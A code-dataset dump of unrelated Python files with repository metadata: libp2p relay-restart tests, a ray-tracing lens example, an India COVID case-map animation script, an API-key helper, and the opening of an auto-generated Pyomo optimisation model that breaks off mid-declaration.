delivered_envelope.message_bytes == envelope.message_bytes def test_envelope_routed_from_client_after_relay_restart(self): """Test envelope routed from third relay client after relay restart.""" addr_1 = self.connection.address addr_2 = self.connection2.address msg = DefaultMessage( dialogue_reference=("", ""), message_id=1, target=0, performative=DefaultMessage.Performative.BYTES, content=b"hello", ) envelope = Envelope( to=addr_1, sender=addr_2, protocol_specification_id=DefaultMessage.protocol_specification_id, message=DefaultSerializer().encode(msg), ) self.multiplexer2.put(envelope) delivered_envelope = self.multiplexer.get(block=True, timeout=20) assert delivered_envelope is not None assert delivered_envelope.to == envelope.to assert delivered_envelope.sender == envelope.sender assert ( delivered_envelope.protocol_specification_id == envelope.protocol_specification_id ) assert delivered_envelope.message_bytes == envelope.message_bytes self.multiplexer_relay.disconnect() self.change_state_and_wait(self.multiplexer_relay, expected_is_connected=False) # currently, multiplexer cannot be restarted self.multiplexer_relay = Multiplexer([self.relay], protocols=[DefaultMessage]) self.multiplexer_relay.connect() self.change_state_and_wait(self.multiplexer_relay, expected_is_connected=True) self.multiplexers.append(self.multiplexer_relay) msg = DefaultMessage( dialogue_reference=("", ""), message_id=1, target=0, performative=DefaultMessage.Performative.BYTES, content=b"helloAfterRestart", ) envelope = Envelope( to=addr_1, sender=addr_2, protocol_specification_id=DefaultMessage.protocol_specification_id, message=DefaultSerializer().encode(msg), ) time.sleep(5) self.multiplexer2.put(envelope) delivered_envelope = self.multiplexer.get(block=True, timeout=20) assert delivered_envelope is not None assert delivered_envelope.to == envelope.to assert delivered_envelope.sender == envelope.sender assert ( delivered_envelope.protocol_specification_id == envelope.protocol_specification_id ) assert delivered_envelope.message_bytes == envelope.message_bytes @libp2p_log_on_failure_all class TestLibp2pConnectionRelayNodeRestartOutgoingEnvelopes(BaseTestLibp2pRelay): """Test that connection will reliably route envelope to destination in case of relay node restart within timeout""" @libp2p_log_on_failure def setup(self): """Set the test up""" super().setup() temp_dir_gen = os.path.join(self.t, "temp_dir_gen") os.mkdir(temp_dir_gen) self.genesis = _make_libp2p_connection( data_dir=temp_dir_gen, port=DEFAULT_PORT + 1, build_directory=self.t ) self.multiplexer_genesis = Multiplexer( [self.genesis], protocols=[DefaultMessage] ) self.multiplexer_genesis.connect() self.log_files.append(self.genesis.node.log_file) self.multiplexers.append(self.multiplexer_genesis) genesis_peer = self.genesis.node.multiaddrs[0] file = "node_key" make_crypto(DEFAULT_LEDGER).dump(file) self.relay_key_path = file temp_dir_rel = os.path.join(self.t, "temp_dir_rel") os.mkdir(temp_dir_rel) self.relay = _make_libp2p_connection( data_dir=temp_dir_rel, port=DEFAULT_PORT + 2, entry_peers=[genesis_peer], node_key_file=self.relay_key_path, build_directory=self.t, ) self.multiplexer_relay = Multiplexer([self.relay], protocols=[DefaultMessage]) self.multiplexer_relay.connect() self.log_files.append(self.relay.node.log_file) self.multiplexers.append(self.multiplexer_relay) relay_peer = self.relay.node.multiaddrs[0] temp_dir_1 = os.path.join(self.t, "temp_dir_1") os.mkdir(temp_dir_1) self.connection = _make_libp2p_connection( data_dir=temp_dir_1, port=DEFAULT_PORT + 3, relay=False, entry_peers=[relay_peer], build_directory=self.t, ) self.multiplexer = Multiplexer([self.connection], protocols=[DefaultMessage]) self.multiplexer.connect() self.log_files.append(self.connection.node.log_file) self.multiplexers.append(self.multiplexer) def test_connection_is_established(self): """Test connection established.""" assert self.relay.is_connected is True assert self.connection.is_connected is True def test_envelope_routed_after_relay_restart(self): """Test envelope routed after relay restart.""" addr_1 = self.connection.address addr_2 = self.genesis.address msg = DefaultMessage( dialogue_reference=("", ""), message_id=1, target=0, performative=DefaultMessage.Performative.BYTES, content=b"hello", ) envelope = Envelope( to=addr_2, sender=addr_1, protocol_specification_id=DefaultMessage.protocol_specification_id, message=DefaultSerializer().encode(msg), ) self.multiplexer.put(envelope) delivered_envelope = self.multiplexer_genesis.get(block=True, timeout=20) assert delivered_envelope is not None assert delivered_envelope.to == envelope.to assert delivered_envelope.sender == envelope.sender assert ( delivered_envelope.protocol_specification_id == envelope.protocol_specification_id ) assert delivered_envelope.message_bytes == envelope.message_bytes self.multiplexer_relay.disconnect() self.change_state_and_wait(self.multiplexer_relay, expected_is_connected=False) msg = DefaultMessage( dialogue_reference=("", ""), message_id=1, target=0, performative=DefaultMessage.Performative.BYTES, content=b"helloAfterRestart", ) envelope = Envelope( to=addr_2, sender=addr_1, protocol_specification_id=DefaultMessage.protocol_specification_id, message=DefaultSerializer().encode(msg), ) self.multiplexer.put(envelope) time.sleep(5) # currently, multiplexer cannot be restarted self.multiplexer_relay = Multiplexer([self.relay], protocols=[DefaultMessage]) self.multiplexer_relay.connect() self.change_state_and_wait(self.multiplexer_relay, expected_is_connected=True) self.multiplexers.append(self.multiplexer_relay) delivered_envelope = self.multiplexer_genesis.get(block=True, timeout=20) assert delivered_envelope is not None assert delivered_envelope.to == envelope.to assert delivered_envelope.sender == envelope.sender assert ( delivered_envelope.protocol_specification_id == envelope.protocol_specification_id ) assert delivered_envelope.message_bytes == envelope.message_bytes @libp2p_log_on_failure_all class TestLibp2pConnectionAgentMobility(BaseTestLibp2pRelay): """Test that connection will correctly route envelope to destination that changed its peer""" @libp2p_log_on_failure def setup(self): """Set the test up""" super().setup() temp_dir_gen = os.path.join(self.t, "temp_dir_gen") os.mkdir(temp_dir_gen) self.genesis = _make_libp2p_connection(data_dir=temp_dir_gen, port=DEFAULT_PORT) self.multiplexer_genesis = Multiplexer( [self.genesis], protocols=[DefaultMessage] ) self.log_files.append(self.genesis.node.log_file) self.multiplexer_genesis.connect() self.multiplexers.append(self.multiplexer_genesis) genesis_peer = self.genesis.node.multiaddrs[0] temp_dir_1 = os.path.join(self.t, "temp_dir_1") os.mkdir(temp_dir_1) self.connection1 = _make_libp2p_connection( data_dir=temp_dir_1, port=DEFAULT_PORT + 1, entry_peers=[genesis_peer] ) self.multiplexer1 = Multiplexer([self.connection1], protocols=[DefaultMessage]) self.log_files.append(self.connection1.node.log_file) self.multiplexer1.connect() self.multiplexers.append(self.multiplexer1) self.connection_key = make_crypto(DEFAULT_LEDGER) temp_dir_2 = os.path.join(self.t, "temp_dir_2") os.mkdir(temp_dir_2) self.connection2 = _make_libp2p_connection( data_dir=temp_dir_2, port=DEFAULT_PORT + 2, entry_peers=[genesis_peer], agent_key=self.connection_key, ) self.multiplexer2 = Multiplexer([self.connection2], protocols=[DefaultMessage]) self.log_files.append(self.connection2.node.log_file) self.multiplexer2.connect() self.multiplexers.append(self.multiplexer2) def test_connection_is_established(self): """Test connection established.""" assert self.connection1.is_connected is True assert self.connection2.is_connected is True def test_envelope_routed_after_peer_changed(self): """Test envelope routed after peer changed.""" addr_1 = self.connection1.address addr_2 = self.connection2.address msg = DefaultMessage( dialogue_reference=("", ""), message_id=1, target=0, performative=DefaultMessage.Performative.BYTES, content=b"hello", ) envelope = Envelope( to=addr_2, sender=addr_1, protocol_specification_id=DefaultMessage.protocol_specification_id, message=DefaultSerializer().encode(msg), ) self.multiplexer1.put(envelope) delivered_envelope = self.multiplexer2.get(block=True, timeout=20) assert delivered_envelope is not None assert delivered_envelope.to == envelope.to assert delivered_envelope.sender == envelope.sender assert ( delivered_envelope.protocol_specification_id == envelope.protocol_specification_id ) assert delivered_envelope.message_bytes == envelope.message_bytes self.multiplexer2.disconnect() self.change_state_and_wait(self.multiplexer2, expected_is_connected=False) # currently, multiplexer cannot be restarted self.multiplexer2 = Multiplexer([self.connection2], protocols=[DefaultMessage]) self.multiplexer2.connect() self.change_state_and_wait(self.multiplexer2, expected_is_connected=True) self.multiplexers.append(self.multiplexer2) msg = DefaultMessage( dialogue_reference=("", ""), message_id=1, target=0, performative=DefaultMessage.Performative.BYTES, content=b"helloAfterChangingPeer", ) envelope = Envelope( to=addr_2, sender=addr_1, protocol_specification_id=msg.protocol_specification_id, message=msg.encode(), ) self.multiplexer1.put(envelope) delivered_envelope = self.multiplexer2.get(block=True, timeout=20) assert delivered_envelope is not None assert delivered_envelope.to == envelope.to assert delivered_envelope.sender == envelope.sender assert ( delivered_envelope.protocol_specification_id == envelope.protocol_specification_id ) assert delivered_envelope.message_bytes == envelope.message_bytes

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null

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null

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7

81cf2bb4801bb9bbba82503054f26f28d02a2b6c

1,872

py

Python

examples/invariant.py

gregsadetsky/RayTracing

3d11ed91014a47bddc797495ca2af059005e810d

[ "MIT" ]

1

2021-04-20T09:38:05.000Z

examples/invariant.py

gregsadetsky/RayTracing

3d11ed91014a47bddc797495ca2af059005e810d

[ "MIT" ]

null

examples/invariant.py

gregsadetsky/RayTracing

3d11ed91014a47bddc797495ca2af059005e810d

[ "MIT" ]

2

2021-04-20T09:38:06.000Z

2022-02-20T23:45:18.000Z

import envexamples from raytracing import * path = ImagingPath() path.name = "4f system, 1 cm object, small lenses" path.append(Space(d=5)) path.append(Lens(f=5, diameter=2.5)) path.append(Space(d=15)) path.append(Lens(f=10,diameter=2.5)) path.append(Space(d=10)) path.display() #path.saveFigure('object-smallLenses.png') path = ImagingPath() path.name = "4f system, 1 cm object, small and large lenses" path.append(Space(d=5)) path.append(Lens(f=5, diameter=2.5)) path.append(Space(d=15)) path.append(Lens(f=10,diameter=5)) path.append(Space(d=10)) path.display() #path.saveFigure('object-smallLargeLenses.png') path = ImagingPath() path.name = "4f system, calculated field of view, small lenses" path.append(Space(d=5)) path.append(Lens(f=5, diameter=2.5)) path.append(Space(d=15)) path.append(Lens(f=10,diameter=2.5)) path.append(Space(d=10)) path.display(onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True) #path.saveFigure('fov-smallLenses.png', onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True) path = ImagingPath() path.name = "4f system, improved field of view, small and large lenses" path.append(Space(d=5)) path.append(Lens(f=5, diameter=2.5)) path.append(Space(d=15)) path.append(Lens(f=10,diameter=5.0)) path.append(Space(d=10)) path.display(onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True) #path.saveFigure('fov-smallLargeLenses.png', onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True) path = ImagingPath() path.name = "4f systeme, no change in field of view with large first lens" path.append(Space(d=5)) path.append(Lens(f=5, diameter=5.0)) path.append(Space(d=15)) path.append(Lens(f=10,diameter=5.0)) path.append(Space(d=10)) path.display(onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True) #path.saveFigure('fov-largeLenses.png', onlyChiefAndMarginalRays=True, limitObjectToFieldOfView=True)

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5.073944

0.169014

0.173491

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0.824427

0.797363

0

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0.069979

1,872

52

107

36

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0.209402

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0

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0

1

0

null

0

8

81dea810f1e07b5dacb2854b8d5697b9bb0990bb

7,736

py

Python

time_map.py

SriyaR/Coronavirus-Time-Space-Spread-India

6b78ff1541cb60f209423a2c06e97b368c238614

[ "CC0-1.0" ]

null

time_map.py

SriyaR/Coronavirus-Time-Space-Spread-India

6b78ff1541cb60f209423a2c06e97b368c238614

[ "CC0-1.0" ]

null

time_map.py

SriyaR/Coronavirus-Time-Space-Spread-India

6b78ff1541cb60f209423a2c06e97b368c238614

[ "CC0-1.0" ]

null

# -*- coding: utf-8 -*- """time-map.ipynb Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1-2jgIeLZg107TIwVKDXWfjL07ddYnLuP """ import cv2 import os import json import matplotlib.pyplot as plt import matplotlib.cm from mpl_toolkits.basemap import Basemap from matplotlib.patches import Polygon from matplotlib.collections import PatchCollection from matplotlib.colors import Normalize import numpy as np from matplotlib.colors import rgb2hex, Normalize from matplotlib.cm import ScalarMappable from matplotlib.colorbar import ColorbarBase import matplotlib.animation as animation with open('INDIA/data.json') as json_file: data = json.load(json_file) #Color bar depends on Confirmed Cases on that Day folder = "IMAGES" for ind in range(len(data['data'])): color_dict = {} color_list = ["Andaman and Nicobar","Andhra Pradesh","Arunachal Pradesh","Assam","Bihar","Chandigarh","Chhattisgarh","Dadra and Nagar Haveli","Daman and Diu","Delhi","Goa","Gujarat","Haryana","Himachal Pradesh","Jammu and Kashmir","Jharkhand","Karnataka","Kerala","Lakshadweep","Madhya Pradesh","Maharashtra","Manipur","Meghalaya","Mizoram","Nagaland","Orissa","Puducherry","Punjab","Rajasthan","Sikkim","Tamil Nadu","Telengana","Tripura","Uttar Pradesh","Uttaranchal","West Bengal",] for j in range(len(data['data'][ind]['regional'])): color_dict[data['data'][ind]['regional'][j]['loc']] = data['data'][ind]['regional'][j]['totalConfirmed'] for j in color_list: if j not in color_dict.keys(): color_dict[j] = 0 #As our coordinates do not incorporate seperation of Ladakh from Jammu & Kashmir color_dict["Jammu and Kashmir"] += color_dict["Ladakh"] del color_dict["Ladakh"] fig, ax = plt.subplots() #Obtain position coordinates from https://boundingbox.klokantech.com/ m = Basemap(resolution='c',projection='merc',lat_0=54.5,lon_0=-4.36,llcrnrlon=68., llcrnrlat=6., urcrnrlat=37., urcrnrlon=97.) m.drawmapboundary(fill_color='#46bcec') m.fillcontinents(color='#f2f2f2', lake_color='#46bcec') m.drawcoastlines() #contains all state position coordinates m.readshapefile("INDIA/IND_adm1","INDIA") colors={} statenames=[] patches = [] #Colormap cmap = plt.cm.Reds #Colorbar Range vmin = min(color_dict.values()); vmax = max(color_dict.values()) norm = Normalize(vmin=vmin, vmax=vmax) # color mapper to covert values to colors mapper = ScalarMappable(norm=norm, cmap=cmap) for shapedict in m.INDIA_info: statename = shapedict['NAME_1'] #To incorporate difference between Map State Name and Data Loc Name if statename == "Telangana": statename = "Telengana" if statename in color_dict: pop = color_dict[statename] colors[statename] = mapper.to_rgba(pop) statenames.append(statename) for nshape,seg in enumerate(m.INDIA): color = rgb2hex(colors[statenames[nshape]]) poly = Polygon(seg,facecolor=color,edgecolor=color) ax.add_patch(poly) plt.title('Confirmed Cases on '+ data['data'][ind]['day']) cax = fig.add_axes([0.27, 0.1, 0.5, 0.05]) # posititon cb = ColorbarBase(cax,cmap=cmap,norm=norm, orientation='horizontal') cb.ax.set_xlabel('Number of Cases') fig1 = plt.gcf() plt.show() fig1.savefig(folder + "/file%02d.png" % ind) video_name = 'time_map.avi' images = [img for img in os.listdir(folder) if img.endswith(".png")] frame = cv2.imread(os.path.join(folder, images[0])) height, width, layers = frame.shape #0.7 is the fps (frame per second) video = cv2.VideoWriter(video_name, 0, 0.7, (width,height)) for image in sorted(images): video.write(cv2.imread(os.path.join(folder, image))) cv2.destroyAllWindows() video.release() #With Uniform colorbar across images index = len(data['data'])-1 color_dict_last = {} color_list = ["Andaman and Nicobar","Andhra Pradesh","Arunachal Pradesh","Assam","Bihar","Chandigarh","Chhattisgarh","Dadra and Nagar Haveli","Daman and Diu","Delhi","Goa","Gujarat","Haryana","Himachal Pradesh","Jammu and Kashmir","Jharkhand","Karnataka","Kerala","Lakshadweep","Madhya Pradesh","Maharashtra","Manipur","Meghalaya","Mizoram","Nagaland","Orissa","Puducherry","Punjab","Rajasthan","Sikkim","Tamil Nadu","Telengana","Tripura","Uttar Pradesh","Uttaranchal","West Bengal",] for j in range(len(data['data'][index]['regional'])): color_dict_last[data['data'][index]['regional'][j]['loc']] = data['data'][index]['regional'][j]['totalConfirmed'] for j in color_list: if j not in color_dict_last.keys(): color_dict_last[j] = 0 #As our coordinates do not incorporate seperation of Ladakh from Jammu & Kashmir color_dict_last["Jammu and Kashmir"] += color_dict_last["Ladakh"] del color_dict_last["Ladakh"] folder = "IMAGES_UNIFORM" for ind in range(len(data['data'])): color_dict = {} color_list = ["Andaman and Nicobar","Andhra Pradesh","Arunachal Pradesh","Assam","Bihar","Chandigarh","Chhattisgarh","Dadra and Nagar Haveli","Daman and Diu","Delhi","Goa","Gujarat","Haryana","Himachal Pradesh","Jammu and Kashmir","Jharkhand","Karnataka","Kerala","Lakshadweep","Madhya Pradesh","Maharashtra","Manipur","Meghalaya","Mizoram","Nagaland","Orissa","Puducherry","Punjab","Rajasthan","Sikkim","Tamil Nadu","Telengana","Tripura","Uttar Pradesh","Uttaranchal","West Bengal",] for j in range(len(data['data'][ind]['regional'])): color_dict[data['data'][ind]['regional'][j]['loc']] = data['data'][ind]['regional'][j]['totalConfirmed'] for j in color_list: if j not in color_dict.keys(): color_dict[j] = 0 #As our coordinates do not incorporate seperation of Ladakh from Jammu & Kashmir color_dict["Jammu and Kashmir"] += color_dict["Ladakh"] del color_dict["Ladakh"] fig, ax = plt.subplots() #Obtain position coordinates from https://boundingbox.klokantech.com/ m = Basemap(resolution='c',projection='merc',lat_0=54.5,lon_0=-4.36,llcrnrlon=68., llcrnrlat=6., urcrnrlat=37., urcrnrlon=97.) m.drawmapboundary(fill_color='#46bcec') m.fillcontinents(color='#f2f2f2', lake_color='#46bcec') m.drawcoastlines() #contains all state position coordinates m.readshapefile("IND_adm1","INDIA") colors={} statenames=[] patches = [] #Reversed Color Map cmap = plt.cm.get_cmap('hot_r') vmin = min(color_dict.values()); vmax = max(color_dict_last.values()) #Colorbar Range norm = Normalize(vmin=vmin, vmax=vmax) # color mapper to covert values to colors mapper = ScalarMappable(norm=norm, cmap=cmap) for shapedict in m.INDIA_info: statename = shapedict['NAME_1'] #To incorporate difference between Map State Name and Data Loc Name if statename == "Telangana": statename = "Telengana" if statename in color_dict: pop = color_dict[statename] colors[statename] = mapper.to_rgba(pop) statenames.append(statename) for nshape,seg in enumerate(m.INDIA): color = rgb2hex(colors[statenames[nshape]]) poly = Polygon(seg,facecolor=color,edgecolor=color) ax.add_patch(poly) plt.title('Confirmed Cases on '+ data['data'][ind]['day']) cax = fig.add_axes([0.27, 0.1, 0.5, 0.05]) # posititon cb = ColorbarBase(cax,cmap=cmap,norm=norm, orientation='horizontal') cb.ax.set_xlabel('Number of Cases') fig1 = plt.gcf() plt.show() fig1.savefig(folder + "/file%02d.png" % ind) video_name = 'time_map_uniform.avi' images = [img for img in os.listdir(folder) if img.endswith(".png")] frame = cv2.imread(os.path.join(folder, images[0])) height, width, layers = frame.shape video = cv2.VideoWriter(video_name, 0, 1, (width,height)) for image in sorted(images): video.write(cv2.imread(os.path.join(folder, image))) cv2.destroyAllWindows() video.release()

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486

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1,059

7,736

5.102927

0.237016

0.048298

0.016284

0.021095

0.826055

0.814582

0.790896

0.776832

0

0.016232

0.13198

7,736

181

487

42.740331

0.788533

0.134436

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0

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false

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null

0

1

0

1

0

null

0

8

1eebc44279b5e679d8ef84689ed368209507456d

122

py

Python

news/utils.py

yxor/neonews

34a506fcc4084f9d37b98801d260fca09582fed3

[ "MIT" ]

3

2020-12-17T00:52:17.000Z

2021-08-06T15:22:03.000Z

news/utils.py

yxor/neonews

34a506fcc4084f9d37b98801d260fca09582fed3

[ "MIT" ]

null

news/utils.py

yxor/neonews

34a506fcc4084f9d37b98801d260fca09582fed3

[ "MIT" ]

1

2021-02-16T19:22:13.000Z

""" a file with with utility functions """ import secrets def generate_api_key(): return secrets.token_urlsafe(16)

15.25

42

0.729508

17

122

5.058824

0.882353

0

0.019802

0.172131

122

7

43

17.428571

0.831683

0.278689

0

1

0

1

0.333333

true

0

0.333333

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

8

484558a71b238b996f17ec28e2d1d8c35614cfc9

173,889

py

Python

tests/examples/minlplib/sfacloc1_4_80.py

ouyang-w-19/decogo

52546480e49776251d4d27856e18a46f40c824a1

[ "MIT" ]

2

2021-07-03T13:19:10.000Z

2022-02-06T10:48:13.000Z

tests/examples/minlplib/sfacloc1_4_80.py

ouyang-w-19/decogo

52546480e49776251d4d27856e18a46f40c824a1

[ "MIT" ]

1

2021-07-04T14:52:14.000Z

2021-07-15T10:17:11.000Z

tests/examples/minlplib/sfacloc1_4_80.py

ouyang-w-19/decogo

52546480e49776251d4d27856e18a46f40c824a1

[ "MIT" ]

null

# MINLP written by GAMS Convert at 04/21/18 13:54:10 # # Equation counts # Total E G L N X C B # 2235 106 2110 19 0 0 0 0 # # Variable counts # x b i s1s s2s sc si # Total cont binary integer sos1 sos2 scont sint # 356 294 62 0 0 0 0 0 # FX 0 0 0 0 0 0 0 0 # # Nonzero counts # Total const NL DLL # 8025 7890 135 0 # # Reformulation has removed 1 variable and 1 equation from pyomo.environ import * model = m = ConcreteModel() m.x1 = Var(within=Reals,bounds=(0,1),initialize=0) m.x2 = Var(within=Reals,bounds=(0,1),initialize=0) m.x3 = Var(within=Reals,bounds=(0,1),initialize=0) m.x4 = Var(within=Reals,bounds=(0,1),initialize=0) m.x5 = Var(within=Reals,bounds=(0,1),initialize=0) m.x6 = Var(within=Reals,bounds=(0,1),initialize=0) m.x7 = Var(within=Reals,bounds=(0,1),initialize=0) m.x8 = Var(within=Reals,bounds=(0,1),initialize=0) m.x9 = Var(within=Reals,bounds=(0,1),initialize=0) m.x10 = Var(within=Reals,bounds=(0,1),initialize=0) m.x11 = Var(within=Reals,bounds=(0,1),initialize=0) m.x12 = Var(within=Reals,bounds=(0,1),initialize=0) m.x13 = Var(within=Reals,bounds=(0,1),initialize=0) m.x14 = Var(within=Reals,bounds=(0,1),initialize=0) m.x15 = Var(within=Reals,bounds=(0,1),initialize=0) m.x16 = Var(within=Reals,bounds=(0,1),initialize=0) m.x17 = Var(within=Reals,bounds=(0,1),initialize=0) m.x18 = Var(within=Reals,bounds=(0,1),initialize=0) m.x19 = Var(within=Reals,bounds=(0,1),initialize=0) m.x20 = Var(within=Reals,bounds=(0,1),initialize=0) m.x21 = Var(within=Reals,bounds=(0,1),initialize=0) m.x22 = Var(within=Reals,bounds=(0,1),initialize=0) m.x23 = Var(within=Reals,bounds=(0,1),initialize=0) m.x24 = Var(within=Reals,bounds=(0,1),initialize=0) m.x25 = Var(within=Reals,bounds=(0,1),initialize=0) m.x26 = Var(within=Reals,bounds=(0,1),initialize=0) m.x27 = Var(within=Reals,bounds=(0,1),initialize=0) m.x28 = Var(within=Reals,bounds=(0,1),initialize=0) m.x29 = Var(within=Reals,bounds=(0,1),initialize=0) m.x30 = Var(within=Reals,bounds=(0,1),initialize=0) m.x31 = Var(within=Reals,bounds=(0,1),initialize=0) m.x32 = Var(within=Reals,bounds=(0,1),initialize=0) m.x33 = Var(within=Reals,bounds=(0,1),initialize=0) m.x34 = Var(within=Reals,bounds=(0,1),initialize=0) m.x35 = Var(within=Reals,bounds=(0,1),initialize=0) m.x36 = Var(within=Reals,bounds=(0,1),initialize=0) m.x37 = Var(within=Reals,bounds=(0,1),initialize=0) m.x38 = Var(within=Reals,bounds=(0,1),initialize=0) m.x39 = Var(within=Reals,bounds=(0,1),initialize=0) m.x40 = Var(within=Reals,bounds=(0,1),initialize=0) m.x41 = Var(within=Reals,bounds=(0,1),initialize=0) m.x42 = Var(within=Reals,bounds=(0,1),initialize=0) m.x43 = Var(within=Reals,bounds=(0,1),initialize=0) m.x44 = Var(within=Reals,bounds=(0,1),initialize=0) m.x45 = Var(within=Reals,bounds=(0,1),initialize=0) m.x46 = Var(within=Reals,bounds=(0,1),initialize=0) m.x47 = Var(within=Reals,bounds=(0,1),initialize=0) m.x48 = Var(within=Reals,bounds=(0,1),initialize=0) m.x49 = Var(within=Reals,bounds=(0,1),initialize=0) m.x50 = Var(within=Reals,bounds=(0,1),initialize=0) m.x51 = Var(within=Reals,bounds=(0,1),initialize=0) m.x52 = Var(within=Reals,bounds=(0,1),initialize=0) m.x53 = Var(within=Reals,bounds=(0,1),initialize=0) m.x54 = Var(within=Reals,bounds=(0,1),initialize=0) m.x55 = Var(within=Reals,bounds=(0,1),initialize=0) m.x56 = Var(within=Reals,bounds=(0,1),initialize=0) m.x57 = Var(within=Reals,bounds=(0,1),initialize=0) m.x58 = Var(within=Reals,bounds=(0,1),initialize=0) m.x59 = Var(within=Reals,bounds=(0,1),initialize=0) m.x60 = Var(within=Reals,bounds=(0,1),initialize=0) m.x61 = Var(within=Reals,bounds=(0,0.26351883),initialize=0) m.x62 = Var(within=Reals,bounds=(0,0.26351883),initialize=0) m.x63 = Var(within=Reals,bounds=(0,0.26351883),initialize=0) m.x64 = Var(within=Reals,bounds=(0,0.26351883),initialize=0) m.x65 = Var(within=Reals,bounds=(0,0.22891574),initialize=0) m.x66 = Var(within=Reals,bounds=(0,0.22891574),initialize=0) m.x67 = Var(within=Reals,bounds=(0,0.22891574),initialize=0) m.x68 = Var(within=Reals,bounds=(0,0.22891574),initialize=0) m.x69 = Var(within=Reals,bounds=(0,0.21464835),initialize=0) m.x70 = Var(within=Reals,bounds=(0,0.21464835),initialize=0) m.x71 = Var(within=Reals,bounds=(0,0.21464835),initialize=0) m.x72 = Var(within=Reals,bounds=(0,0.21464835),initialize=0) m.x73 = Var(within=Reals,bounds=(0,0.17964414),initialize=0) m.x74 = Var(within=Reals,bounds=(0,0.17964414),initialize=0) m.x75 = Var(within=Reals,bounds=(0,0.17964414),initialize=0) m.x76 = Var(within=Reals,bounds=(0,0.17964414),initialize=0) m.x77 = Var(within=Reals,bounds=(0,0.17402843),initialize=0) m.x78 = Var(within=Reals,bounds=(0,0.17402843),initialize=0) m.x79 = Var(within=Reals,bounds=(0,0.17402843),initialize=0) m.x80 = Var(within=Reals,bounds=(0,0.17402843),initialize=0) m.x81 = Var(within=Reals,bounds=(0,0.15355962),initialize=0) m.x82 = Var(within=Reals,bounds=(0,0.15355962),initialize=0) m.x83 = Var(within=Reals,bounds=(0,0.15355962),initialize=0) m.x84 = Var(within=Reals,bounds=(0,0.15355962),initialize=0) m.x85 = Var(within=Reals,bounds=(0,0.1942283),initialize=0) m.x86 = Var(within=Reals,bounds=(0,0.1942283),initialize=0) m.x87 = Var(within=Reals,bounds=(0,0.1942283),initialize=0) m.x88 = Var(within=Reals,bounds=(0,0.1942283),initialize=0) m.x89 = Var(within=Reals,bounds=(0,0.25670555),initialize=0) m.x90 = Var(within=Reals,bounds=(0,0.25670555),initialize=0) m.x91 = Var(within=Reals,bounds=(0,0.25670555),initialize=0) m.x92 = Var(within=Reals,bounds=(0,0.25670555),initialize=0) m.x93 = Var(within=Reals,bounds=(0,0.27088619),initialize=0) m.x94 = Var(within=Reals,bounds=(0,0.27088619),initialize=0) m.x95 = Var(within=Reals,bounds=(0,0.27088619),initialize=0) m.x96 = Var(within=Reals,bounds=(0,0.27088619),initialize=0) m.x97 = Var(within=Reals,bounds=(0,0.28985675),initialize=0) m.x98 = Var(within=Reals,bounds=(0,0.28985675),initialize=0) m.x99 = Var(within=Reals,bounds=(0,0.28985675),initialize=0) m.x100 = Var(within=Reals,bounds=(0,0.28985675),initialize=0) m.x101 = Var(within=Reals,bounds=(0,0.25550303),initialize=0) m.x102 = Var(within=Reals,bounds=(0,0.25550303),initialize=0) m.x103 = Var(within=Reals,bounds=(0,0.25550303),initialize=0) m.x104 = Var(within=Reals,bounds=(0,0.25550303),initialize=0) m.x105 = Var(within=Reals,bounds=(0,0.19001726),initialize=0) m.x106 = Var(within=Reals,bounds=(0,0.19001726),initialize=0) m.x107 = Var(within=Reals,bounds=(0,0.19001726),initialize=0) m.x108 = Var(within=Reals,bounds=(0,0.19001726),initialize=0) m.x109 = Var(within=Reals,bounds=(0,0.23803143),initialize=0) m.x110 = Var(within=Reals,bounds=(0,0.23803143),initialize=0) m.x111 = Var(within=Reals,bounds=(0,0.23803143),initialize=0) m.x112 = Var(within=Reals,bounds=(0,0.23803143),initialize=0) m.x113 = Var(within=Reals,bounds=(0,0.23312962),initialize=0) m.x114 = Var(within=Reals,bounds=(0,0.23312962),initialize=0) m.x115 = Var(within=Reals,bounds=(0,0.23312962),initialize=0) m.x116 = Var(within=Reals,bounds=(0,0.23312962),initialize=0) m.x117 = Var(within=Reals,bounds=(0,0.27705307),initialize=0) m.x118 = Var(within=Reals,bounds=(0,0.27705307),initialize=0) m.x119 = Var(within=Reals,bounds=(0,0.27705307),initialize=0) m.x120 = Var(within=Reals,bounds=(0,0.27705307),initialize=0) m.x121 = Var(within=Reals,bounds=(0,2.02),initialize=0) m.x122 = Var(within=Reals,bounds=(0,4.01333333333333),initialize=0) m.x123 = Var(within=Reals,bounds=(0,4.76),initialize=0) m.x124 = Var(within=Reals,bounds=(0,5.96),initialize=0) m.x125 = Var(within=Reals,bounds=(0,42.0933333333333),initialize=0) m.x126 = Var(within=Reals,bounds=(0,99.28),initialize=0) m.x127 = Var(within=Reals,bounds=(0,6.59333333333333),initialize=0) m.x128 = Var(within=Reals,bounds=(0,61.8666666666667),initialize=0) m.x129 = Var(within=Reals,bounds=(0,56.2866666666667),initialize=0) m.x130 = Var(within=Reals,bounds=(0,41.5),initialize=0) m.x131 = Var(within=Reals,bounds=(0,62.4933333333333),initialize=0) m.x132 = Var(within=Reals,bounds=(0,80.9066666666667),initialize=0) m.x133 = Var(within=Reals,bounds=(0,26.1466666666667),initialize=0) m.x134 = Var(within=Reals,bounds=(0,38),initialize=0) m.x135 = Var(within=Reals,bounds=(0,62.24),initialize=0) m.x136 = Var(within=Reals,bounds=(0,0.5323080366),initialize=0) m.x137 = Var(within=Reals,bounds=(0,0.918715169866666),initialize=0) m.x138 = Var(within=Reals,bounds=(0,1.021726146),initialize=0) m.x139 = Var(within=Reals,bounds=(0,1.0706790744),initialize=0) m.x140 = Var(within=Reals,bounds=(0,7.32543671346667),initialize=0) m.x141 = Var(within=Reals,bounds=(0,15.2453990736),initialize=0) m.x142 = Var(within=Reals,bounds=(0,1.28061192466667),initialize=0) m.x143 = Var(within=Reals,bounds=(0,15.8815166933333),initialize=0) m.x144 = Var(within=Reals,bounds=(0,15.2472806811333),initialize=0) m.x145 = Var(within=Reals,bounds=(0,12.029055125),initialize=0) m.x146 = Var(within=Reals,bounds=(0,15.9672360214667),initialize=0) m.x147 = Var(within=Reals,bounds=(0,15.3736631157333),initialize=0) m.x148 = Var(within=Reals,bounds=(0,6.2237284564),initialize=0) m.x149 = Var(within=Reals,bounds=(0,8.85892556),initialize=0) m.x150 = 